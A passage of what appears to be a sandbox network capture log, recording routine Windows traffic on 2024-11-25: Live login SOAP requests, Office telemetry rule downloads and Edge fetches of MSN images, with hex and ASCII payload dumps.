2024-11-25 13:14:59 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49906	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:58 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 13:14:58 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:14:59 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BL2 x-ms-request-id: 1a06bccd-ff39-4c01-b8f7-cd23859923b2 PPServer: PPV: 30 H: BL02EPF000270CF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:58 GMT Connection: close Content-Length: 11409
2024-11-25 13:14:59 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:58 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131459Z-15b8b599d88l2dpthC1TEBmzr00000000600000000005bws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49913	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:00 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:15:00 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=357047 Expires: Fri, 29 Nov 2024 16:25:47 GMT Date: Mon, 25 Nov 2024 13:15:00 GMT Connection: close
2024-11-25 13:15:00 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:00 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 2727b5de-901e-005b-4cc1-3e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131500Z-178bfbc474bwlrhlhC1NYCy3kg00000007mg0000000026e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:00 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131500Z-15b8b599d88g5tp8hC1TEByx6w00000005xg00000000cqew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:00 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:00 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131500Z-178bfbc474bv7whqhC1NYC1fg400000007d000000000er2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:00 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:00 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 20b606c1-d01e-0028-12bf-3e7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131500Z-178bfbc474bbbqrhhC1NYCvw7400000007mg00000000db6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:01 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 07e1e155-901e-0029-69bf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131501Z-178bfbc474bv587zhC1NYCny5w00000007ag00000000d50n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49915	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 13:15:01 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:15:01 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:14:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: d5e7809d-b88c-4917-85e9-39375851d58f PPServer: PPV: 30 H: SN1PEPF0002F1B0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:15:01 GMT Connection: close Content-Length: 1918
2024-11-25 13:15:01 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49917	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:01 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
